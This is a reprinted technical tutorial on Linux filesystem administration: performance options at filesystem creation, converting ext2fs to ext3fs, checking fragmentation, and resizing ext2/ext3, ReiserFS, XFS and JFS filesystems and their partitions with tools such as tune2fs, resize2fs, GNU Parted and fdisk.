GO IT WORLD | IT TECH | IT NEWS

If you’ve already installed Linux, your partitions are already set up and configured with particular filesystems. You may decide you want to modify this configuration, though. Some changes are tedious to implement. For instance, changing from one filesystem to another requires you to back up, create a new filesystem, and restore your files. One exception to this rule is changing from ext2fs to ext3fs. If you switch filesystems, you may be able to use filesystem-creation options to improve the performance of the new filesystem. Other changes can also be done relatively painlessly. These include defragmenting a disk (that is, repositioning file contents so that they’re not spread out over the entire partition) and resizing partitions to give you space where you need it.

Creating a Filesystem for Optimal Performance

Most filesystems support a variety of options that may impact performance. For instance, large allocation blocks can improve performance by reducing fragmentation and the number of operations needed to retrieve an entire file. Some of these options can be set only at filesystem creation time, but some can be changed after the fact. Not all of these features are available in all filesystems. Across all Linux filesystems, important and popular performance-enhancing (or performance-degrading) options include:

Allocation Block Size  As noted in the earlier section, "Minimizing Space Consumption," small allocation blocks can facilitate more efficient use of disk space, but the cost is a small degradation in disk-access speed. Therefore, to improve performance slightly, you can increase your block size. This option is not easily changed after creating a filesystem. With ext2fs or ext3fs, you can use the -b block-size option to mke2fs; with XFS, the -b size=block-size option to mkfs.xfs does the job. For ext2fs and ext3fs, block-size must be 1024, 2048, or 4096; with XFS, the block size can theoretically be any power-of-two multiple of 512 bytes up to 64KB (65536 bytes), although in practice you can only mount a filesystem with block sizes up to 4KB or 8KB using common CPUs. ReiserFS and Linux’s version of JFS do not yet support adjusting this feature.

Journaling Options  All the journaling filesystems support various journal options. One common option is the location of the journal. By placing the journal on a separate physical disk from the main filesystem, you can improve performance (provided the target disk isn’t too sluggish itself). You can use the -J device=journal-device option in mke2fs or the -j journal-device option in mkreiserfs or mkfs.jfs to set this feature. Ext3fs also supports setting the journal size with the -J size=journal-size option, where journal-size is specified in megabytes and must be between 1,024 and 102,400 filesystem blocks. Specifying a too-small journal may degrade performance, but setting one too large may rob you of too much disk space. If in doubt, let mke2fs decide on the journal size itself.

Reserved Blocks  Ext2fs and ext3fs reserve a number of blocks for use by the superuser (or some other user you specify). The default value of 5 percent reserved space may be overkill on large partitions or on less critical partitions (such as /home). You can gain a bit more space by using the -m reserved-percentage option to mke2fs. Changing this percentage won’t affect actual disk performance, but it may gain you just a bit more available disk space. You can change this option after you create a filesystem by passing the same parameter that mke2fs accepts to the tune2fs program, as in tune2fs -m 1 /dev/hda4 to set the reserved blocks percentage to 1.

Check Interval  Ext2fs and ext3fs force a filesystem check after a specified number of mounts or a specified amount of time between mounts. The idea is to catch errors that might creep onto the filesystem due to random disk write errors or filesystem driver bugs. You can change these intervals by using the -c max-mount-counts and -i interval-between-checks options to tune2fs. For the latter option, you specify an interval in days, weeks, or months by providing a number followed by a d, w, or m, respectively. Altering the check interval won’t modify day-to-day performance, but it will change how frequently the computer performs a full disk check on startup. This disk check can be quite lengthy, even for ext3fs; it doesn’t restrict itself to recent transactions as recorded in the journal, as a forced check after a system crash does.

Directory Hash  ReiserFS uses a sorted directory structure to speed directory lookups, and mkreiserfs provides several options for the hash (a type of lookup algorithm) used for this purpose. You set this option with the -h hash option to mkreiserfs, where hash can be r5, rupasov, or tea. Some hashes may yield improved or degraded performance for specific applications. The Squid Web proxy documentation suggests using the rupasov hash, whereas the qmail documentation recommends r5, for instance. One problem with the r5 and rupasov hashes is that they can greatly slow file creation in directories with very many (a million or so) files. In fact, rupasov is very prone to such problems, and so should be avoided on most systems. The tea hash is much less subject to this problem, but it is also much slower than r5 for directories with more typical numbers of files. In general, you should use the default r5 hash unless you know you’ll be creating many files or the disk will be used by one performance-critical application, in which case checking the application’s documentation or doing a web search for advice may be worthwhile.

Inode Options  XFS enables you to set the inode size at filesystem creation time using the -i size=value option to mkfs.xfs. The minimum and default size is 256 bytes; the maximum is 2,048 bytes. (The inode size can’t exceed half the allocation block size, though.) One impact of the inode size option relates to small file access times; because XFS tries to store small files within the inode whenever possible, specifying a large inode enables storing larger files within the inode. Doing so will speed access to these files. Therefore, if a partition will store many small files (under 2KB), you may want to increase the inode size. Depending on the exact mix of file sizes, the result may save or waste disk space. If few files will be smaller than 2KB, there’s little point to increasing the inode size.

The default filesystem creation options usually yield acceptable performance. Modifying these options can help in some unusual cases, such as filesystems storing huge numbers of files or a computer that’s restarted frequently. I don’t recommend trying random changes to these options unless you intend to run tests to discover what works best for your purposes.

Converting Ext2fs to Ext3fs

One of the advantages of ext3fs over the other journaling filesystems is that it’s easy to turn an existing ext2 filesystem into an ext3 filesystem. You can do this using the tune2fs program and its -j option:

# tune2fs -j /dev/hda4

If the filesystem to which you add a journal is mounted when you make this change, tune2fs creates the journal as a regular file, called .journal, in the filesystem’s root directory. If the filesystem is unmounted when you run this command, the journal file doesn’t appear as a regular file. In either case, the filesystem is now an ext3 filesystem, and it can be used just as if you created it as an ext3 filesystem initially. If necessary, you may be able to access the filesystem as ext2fs (say, using a kernel that has no ext3fs support); however, some older kernels and non-Linux utilities may refuse to access it in this way, or they may provide merely read-only access.

On rare occasion, an ext3 filesystem’s journal may become so corrupted that it interferes with disk recovery operations. In such cases, you can convert the filesystem back into an ext2 filesystem using the debugfs tool:

# debugfs -w /dev/sda4
debugfs 1.32 (09-Nov-2002)
debugfs:  features -needs_recovery -has_journal
Filesystem features: dir_index filetype sparse_super
debugfs:  quit

After performing this operation, you should be able to use fsck.ext2 with its -f option, as described in the upcoming section, "Filesystem Check Options," to recover the filesystem. The newly-deactivated journal will cause fsck.ext2 to report errors even if the filesystem did not previously have them. If you like, you can then add the journal back by using tune2fs, as just described.

Warning

Don’t try to remove the journal from a mounted filesystem.

Defragmenting a Disk

Microsoft filesystems, such as the File Allocation Table (FAT) filesystem and the New Technology File System (NTFS), suffer greatly from disk fragmentation—the tendency of files to be broken up into many noncontiguous segments. Disk fragmentation degrades performance because the OS may need to move the disk head more frequently and over greater distances to read a fragmented file than to read a nonfragmented file.

Fortunately, Linux’s native filesystems are all far more resistant to fragmentation than are Windows filesystems. Therefore, most Linux users don’t bother defragmenting their disks. In fact, defragmentation tools for Linux are hard to come by. One that does exist is called defrag, but this package doesn’t ship with most distributions. Because it is an older tool, it won’t work with most modern ext2fs partitions, much less any of the journaling filesystems.

If you think your system may be suffering from fragmentation problems, you can at least discover how fragmented your ext2 or ext3 filesystems are by performing an fsck on them. You may need to force a check by using the -f parameter. This action will produce, among other things, a report on the fragmentation on the disk:

/dev/hda5: 45/8032 files (2.2% non-contiguous), 4170/32098 blocks

This report indicates that 2.2 percent of the files are noncontiguous (that is, fragmented). Such a small amount of fragmentation isn’t a problem. Unfortunately, the fsck tools for other journaling filesystems don’t return this information, so you have no indicator of fragmentation on these filesystems. If you truly believe that fragmentation has become a problem, you may be able to improve matters by backing up the partition, creating a fresh filesystem, and then restoring the files. This procedure is likely to take far longer than the time saved in disk accesses over the next several months or years, though, so I only recommend doing it if you want to change filesystem types or have some other reason (such as replacing a hard disk) to engage in this activity.

Note

As a general rule, fragmentation becomes a problem only if your disk is almost full. On a nearly full disk, Linux may have trouble locating a large enough block of free space to fit a file without fragmenting it. If you almost fill a disk and then delete files, the remaining files may or may not be fragmented, depending on which ones you deleted. For this reason, keeping your partitions from filling up is best. As a general rule, anything less than 80 to 90 percent full is fine from a fragmentation perspective.

Resizing Filesystems

All too frequently, you discover only after installing Linux that your partitions aren’t the optimum size. For instance, you might have too much room in /usr and not enough room in /home. Traditional fixes for this problem include using symbolic links to store some directories that are nominally on one partition on another partition; and backing up, repartitioning, and restoring data. In many cases, a simpler approach is to use a dynamic partition resizer. Fortunately, partition resizers exist for the most popular Linux filesystems, as well, so you can use these tools to manage your Linux installation.

Warning

Dynamic partition resizers are inherently dangerous. In the event of a power outage, system crash, or bug, they can do serious damage to a partition. You should always back up the data on any partition you resize. Also, you should never run a dynamic partition resizer on a partition that’s currently mounted. If necessary, boot a Linux emergency system to resize your partitions.

Resizing Ext2fs and Ext3fs

Several tools exist to resize ext2 and ext3 filesystems:

resize2fs  This program ships with the e2fsprogs package included with most distributions. The resize2fs program is fairly basic in terms of options. At a minimum, you pass it the device file associated with the partition, as in resize2fs /dev/hda4. This command resizes the filesystem on /dev/hda4 to match the size of the partition. You can also pass the partition size in allocation blocks, as in resize2fs /dev/hda4 256000 to resize a filesystem to 256,000 blocks. The resize2fs program doesn’t resize partitions, just the filesystems they contain. Therefore, you must use resize2fs in conjunction with fdisk to resize a partition and its filesystem. If you want to shrink a filesystem, you should do so first and then use fdisk to shrink the partition to match. If you want to grow a partition, you use fdisk first and then resize2fs. Because getting filesystem and partition sizes to match is tricky, it’s usually best to forgo resize2fs in favor of GNU Parted or PartitionMagic.

GNU Parted  This program provides both filesystem and partition resizing at once, so it’s easier to use than resize2fs. It’s described in more detail shortly, in "Using GNU Parted."

PartitionMagic  This commercial program from PowerQuest (http://www.powerquest.com) supports integrated filesystem and partition resizing operations of FAT, NTFS, ext2fs, ext3fs, and Linux swap partitions. PartitionMagic is easier to use than other ext2fs and ext3fs partition resizers, but it runs only from DOS or Windows. (The package ships with a DOS boot floppy image and a bootable CD-ROM, so it’s still useable on a Linux-only system.)

Resizing ReiserFS

Two tools are available for resizing ReiserFS:

resize_reiserfs  This tool is ReiserFS’s equivalent of the resize2fs program. Like resize2fs, resize_reiserfs resizes the filesystem, but not the partition in which it resides, so you must use this tool in conjunction with fdisk. If you only pass the program the partition identifier, it resizes the filesystem to fit the partition. If you pass an -s option and filesystem size, the program resizes the partition to the requested size, which you can specify in bytes, kilobytes, megabytes, or gigabytes (the last three options require K, M, or G suffixes, respectively). Alternatively, you can specify a change to the partition size by prefixing the size with a minus (-) or plus (+) sign. For instance, resize_reiserfs -s -500M /dev/sda5 reduces the size of the filesystem on /dev/sda5 by 500MB.

GNU Parted  According to its web page, this program supports ReiserFS as well as other filesystems. Unfortunately, as of version 1.6.4, this support is more theoretical than real, because it relies on libraries that aren’t present on most distributions, and that even a fresh build can’t find when everything’s installed according to directions. With luck, though, this support will improve in the future.

The ReiserFS resizing tools are not as mature as are those for resizing ext2 and ext3 filesystems. In fact, resize_reiserfs displays warnings about the software being beta.

Resizing XFS

XFS has long included a partition-resizing tool, xfs_growfs. As the name implies, this program is designed for increasing a filesystem’s size, not decreasing it. Unlike most partition-resizing tools, xfs_growfs is designed to work only on a mounted filesystem. The safest way to use it is to unmount the filesystem, delete the partition using fdisk, create a new partition in its place, mount the filesystem, and then call xfs_growfs:

# xfs_growfs /mount/point

As you might guess, /mount/point is the partition’s mount point. You may also add the -D size option to specify the filesystem size in allocation blocks. Various other options are also available, as described in the xfs_growfs man page.

Although GNU Parted’s web page doesn’t mention XFS support, the source code does include an XFS subdirectory. Parted refuses to work on XFS partitions, but this may change in the future.

Resizing JFS

JFS includes a rather unusual partition-resizing ability: It’s built into the kernel’s JFS driver. You can use this feature to increase, but not to decrease, the size of the filesystem. As with most other partition-resizing tools, you must modify the partition size first by using fdisk to delete the partition and then recreate it with a larger size. After you’ve done this, you should mount the partition as you normally do and then issue the following command:

# mount -o remount,resize /mount/point

This command resizes the filesystem mounted at /mount/point to occupy all the available space in its partition. No other partition-resizing tools are available for JFS, although there is a JFS subdirectory in the GNU Parted source code, suggesting that Parted may support JFS in the future.

Using GNU Parted

Because Parted is the most sophisticated open source partition resizer, it deserves more attention. You can pass it a series of commands directly or use it in an interactive mode. The latter is more likely to be helpful for normal one-time uses. Passing commands to Parted enables you to write scripts to help automate partition resizing. Typically, you launch Parted in interactive mode by typing the program’s name followed by the device on which you want to operate. You can then type commands to resize, create, delete, and otherwise manipulate partitions:

# parted /dev/sda
(parted) print
Disk geometry for /dev/scsi/host0/bus0/target5/lun0/disc: 0.000-96.000 megabytes
Disk label type: msdos
Minor    Start       End     Type      Filesystem  Flags
1          0.023     48.000  primary   ext2
2         48.000     96.000  primary   ext2
(parted) rm 2
(parted) resize 1 0.00 96.00
(parted) quit

This example deletes the second partition on the disk and resizes the first partition to fill all the available space. Unlike most Linux partition-management tools, Parted works in figures of megabytes. This fact can make translating Parted’s partition start and end points to and from the cylinder boundaries upon which fdisk and other tools work tricky. Table 1 summarizes some of the most common and important Parted commands. Although many commands nominally require arguments, in practice they don’t; instead, they prompt for the required information when Parted is run in interactive mode. The part-type code is p for primary partitions, e for extended partitions, and l for logical partitions.

Table 1: Common Parted Commands

Resizing Partitions

Most of the filesystem-resizing tools require that you modify the partition using fdisk. (GNU Parted and PartitionMagic are exceptions to this rule.) Precisely how you modify the filesystem’s carrier partition depends on whether you’ll be shrinking or growing the partition. The simplest case is growing a partition. When doing this, you should follow these steps:

1. Launch fdisk on the disk in question.

2. Type d in fdisk to delete the partition you want to grow. You’ll be asked for the partition number.

3. Type n in fdisk to create a new partition in place of the old one. You’ll be asked for the partition number and the start and end cylinders. The start cylinder must be the same as it was originally, and of course the end cylinder should be larger than the original.

4. Type w in fdisk to write your changes to disk and exit.

5. Follow the procedure for your filesystem-resizing tool to increase the filesystem size.

Of course, in order to grow a partition, there must be free space on the disk into which to expand the partition. This normally means that you’ll have already deleted or shrunk a partition that follows the one you want to expand. If you want to expand a filesystem into space that’s before it on the disk, your job is much harder. It’s possible to expand the carrier partition as just described, but specifying an earlier starting point, and then use dd to copy a filesystem from later in the new partition to earlier in the partition. This task is tricky, though, because you must compute precisely how far into the newly expanded partition the existing filesystem begins. An error can easily wipe out all your data. Thus, I don’t recommend attempting this task; instead, try creating a new filesystem in the earlier space and mount it at some convenient place in your directory tree. If the empty space is larger than the partition you want to move, you can create a new partition, move the original, verify that the copied partition is intact, delete the original partition, and expand the copied partition and the filesystem it contains.

In order to reduce the size of the filesystem, you must match the size of the partition to the filesystem, which can be a tricky task. Fortunately, there is a procedure that can make this task less error-prone:

1. Shrink the filesystem, using your filesystem-resizing tool, to a value that’s smaller than you intend. For instance, if you want to shrink a 700MB partition to 500MB, shrink it to 400MB.

2. Use fdisk to resize the partition to the target size, such as 500MB. This target size should be larger than the filesystem by a wide enough margin to be comfortable.

3. Use the partition-resizing tool to expand the filesystem into the extra space on the partition, filling it exactly.

As with increasing the size of the filesystem, the start point of the filesystem must remain untouched. When moving space between filesystems, this requirement can create an awkward situation: You can shrink an earlier partition, but expanding the next partition into the freed space is risky.